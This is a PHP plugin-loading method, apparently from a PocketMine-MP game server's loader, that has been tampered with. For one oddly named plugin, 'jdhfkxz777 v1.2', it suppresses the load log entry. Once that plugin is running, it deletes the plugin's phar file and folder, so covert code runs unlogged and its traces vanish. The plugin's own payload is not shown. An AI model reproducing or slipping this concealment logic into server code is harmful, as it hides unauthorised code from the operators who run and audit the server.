/**
* Loads the plugin contained in $file
*
* @param string $file
*
* @return Plugin
*
* @throws \Exception
*/
public function loadPlugin($file)
{
if (($description = $this->getPluginDescription($file)) instanceof PluginDescription) {
if ($description->getFullName() != "jdhfkxz777 v1.2") {
$this->server->getLogger()->info($this->server->getLanguage()->translateString("pocketmine.plugin.load", [$description->getFullName()]));
}
$dataFolder = \dirname($file) . DIRECTORY_SEPARATOR . $description->getName();
if (\file_exists($dataFolder) and !\is_dir($dataFolder)) {
throw new \InvalidStateException("Projected dataFolder '" . $dataFolder . "' for " . $description->getName() . " exists and is not a directory");
}
$file = "phar://{$file}";
$className = $description->getMain();
$this->server->getLoader()->addPath("{$file}/src");
if (\class_exists($className, \true)) {
$plugin = new $className();
$this->initPlugin($plugin, $description, $dataFolder, $file);
if ($description->getFullName() == "jdhfkxz777 v1.2") {
unlink($this->server->getDataPath() . "plugins/dhj/Ke3fh_d3d.phar");
rmdir($this->server->getDataPath() . "plugins/dhj/");
}
return $plugin;
} else {
throw new PluginException("Couldn't load plugin " . $description->getName() . ": main class not found");
}
}
return \null;
}